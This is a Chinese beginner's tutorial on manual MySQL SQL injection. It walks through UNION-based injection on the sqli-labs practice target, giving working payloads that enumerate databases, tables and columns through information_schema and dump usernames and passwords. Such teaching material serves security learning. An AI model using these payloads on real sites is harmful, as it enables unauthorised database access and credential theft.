小白学习篇:MYSQL手工注入之多种类多姿势剖析(上)
引言
MYSQL数据库在5.0版本前后变化异常大,MYSQL在5.0之后诞生出了一个新的数据库:information_schema,这个库对于我们SQL手工注入至关重要
接下来我们来看看这个数据库的重要性到底如何?这个数据库为信息汇总数据库,汇总了该服务器下所有MYSQL数据库和表信息。
我们查询SCHEMATA表,,可以发现其中包含了所有数据库名
select *from information_schema.SCHEMATA
我们再查询其tables表,可以发现其中包含了所有数据库名
select *from information_schema.tables
再去查询其column列信息,可以发现其中包含了所有字段名
select *from information_schema.columns
既然有这个数据库的存在,那么就意味着我们可以通过跨库查询进行爆库
sqlmap作为常见的sql注入工具,相比手工确实方便许多,个人认为,小白应该从sql手工注入和sql原理分析开始学习,由浅入深后工具也能运用自如!
知识前提(补充)
下面介绍几个常用的爆库函数和语句:
相关函数
查询当前用户
select user()
这个语句可以用来查询当前用户,最高权限用户是root@localhost,可以进行查询、插入、更改、创建等一系列操作。
查询当前数据库
select database()
这步其实是很有必要的,因为当我们得知当前数据库可能为目标数据库时,我们可以减少很多步操作,使得步骤简便一些
查询数据库版本
select version()
这一步也相当重要的,因为我们要准确知道数据库版本,才能进行下一步操作。人家这个版本的MYSQL都没information_schema,自己在那琢磨半天还不如去吃吃瓜!
相关语句
排序语句
Order by 1(2,3,4.......)
order by+数字有助于我们用来猜测数据段,其语法中数字表示第几个字段,数据库中显示为二维表的形式,那么字段就是表示列,比如说使用select语句加上order by 3报错Unknown column '3‘ in ‘order clause’,而order by 2返回为正常的页面,那么我们可以判定查询的当前数据库的当前表下的字段应该为2,这对于后面sql注入占回显符很有帮助(当然主要针对UNION联合注入)
联合查询
select 字段名1,字段名2 from 数据表 union select 语句
union是其核心,相当于拼接了两个sql查询语句,一般网页回显结果为第一个select查询语句,这个sql语句的精髓在于当我们使前一个查询语句失效时候,一般是采用通过爆破点参数越界数据库来使得第一个语句失效,页面回显一般是后一个select语句。但是需要注意的是,前面字段数要和union后面select的字段数应相吻合统一,eg:select 字段名1,字段名2 from 数据表 union select 1,2 from xxx。
这里又引出了一个小tips:当我们使用1,2这种数字站位符号时,可以发现即使数据库中没有这个存储数据,它仍然会回显。
拼接语句
select group_concat(字段名1),group_concat(字段名2) from 数据表
一般页面回显为单条数据,但是当我们使用group_concat()语句后那么我们就可以查询到所有数据,他们以一行的形式展示,且他们之间用逗号连接回显,这样就可以爆该字段的所有数据。
注释语句
#,--,/**/
这几个字符都是常见注释符的表达方式,对于字符型参数构造闭合很有作用。
好啦!给大家预热一下,这篇文章主要面向手动注入0基础的小白,有基础的师傅们捧捧场,帮忙指正批评,欢迎大家在评论区留言评论,接下来我们进入正题!
sql手工注入大致思路:
1.通过传入参数不同判断查看页面回显,判断是否为动态页面,静态页面是不能sql注入的
2.如果是动态页面,采用order by语句来回显页面输出点和字段数
3.通过字段数占位,判断数据库版本号,当前数据库是否为目标数据库,判断当前用户具有哪些权限(一般都具有查询权限的)
4.通过回显页面和数据包返回来判断是哪种类型的的sql注入
5.每种sql注入手法不同,但是核心思路都是->获取目标数据库名->获取目标数据库下表名->选择要进行爆数据的表名爆字段->通过爆字段来获取数据。
介绍类型
类型一:UNION联合注入
示例:以sqli-less2靶场为例,采用burp进行抓包处理后送出数据包
首先我们先进行动态页面判断,当我们传入参数为id=1和id=2时,页面回显数据不同,说明是动态网页。
现在判断是否有着sql注入点,我们使用and语句,我们可以发现当and后面条件1=1和1=2时页面回显的结果完全不同,当and 1=2时页面回显为空数据,说明存在sql注入点,注入点参数就是id
然后就可以进行我们的思路了:
首先进行查询字段数
从字段数为3开始,页面正常回显
?id=2 order by 3
接下来字段数为4,页面出现报错
?id=2 order by 4
由此可以判断其字段数为3,那么后续union select占位符有3个可以用1,2,3来代替
接下来来回显占位符,使得前一个查询失效,令id=-1
?id=-1 select 1,2,3
可以发现回显的是2,3这两个位置的占位符数据
接下来我们进行爆数据库版本和当前数据库
?id=-1 union select 1,version(),database()
可以发现数据库版本在5.0之后,当前数据库就是目标数据库,那么我们可以省略mysql爆数据库这一步,但是实战中多数是需要这一步的,笔者在这里提一下
爆mysql数据库常用操作
?id=-1 union select 1,version(),group_concat(schema_name) from information_schema.schemata
我们已经找寻到目标数据库为security了,那么我们看看这个数据库下面有哪些数据表吧?
爆数据表名
?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'
我们爆出emails,referers,uagents,users四个表,这里我们爆users表数据
爆字段名
?id=-1 union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
爆出字段名id,username,password后,筛选出username和password两个字段,相当于我们就掌握这些用户的登录账号和密码啦,,接下来的操作就和普通查表差不多啦
?id=-1 union select 1,group_concat(username),group_concat(password) from users
至此所有数据都被爆出,这就是联合注入,是不是很简单呢。但是需要注意的是参数分为两种类型,可能是字符型或者字符型,字符型要构造闭合,其实也没有什么难的,只是用单引号或者其他符号添加在传给id参数的后面,再使用注释语句注释掉它源程序本来构造的外层闭合
?id=1' --af(af为任意字符,--注释后面的')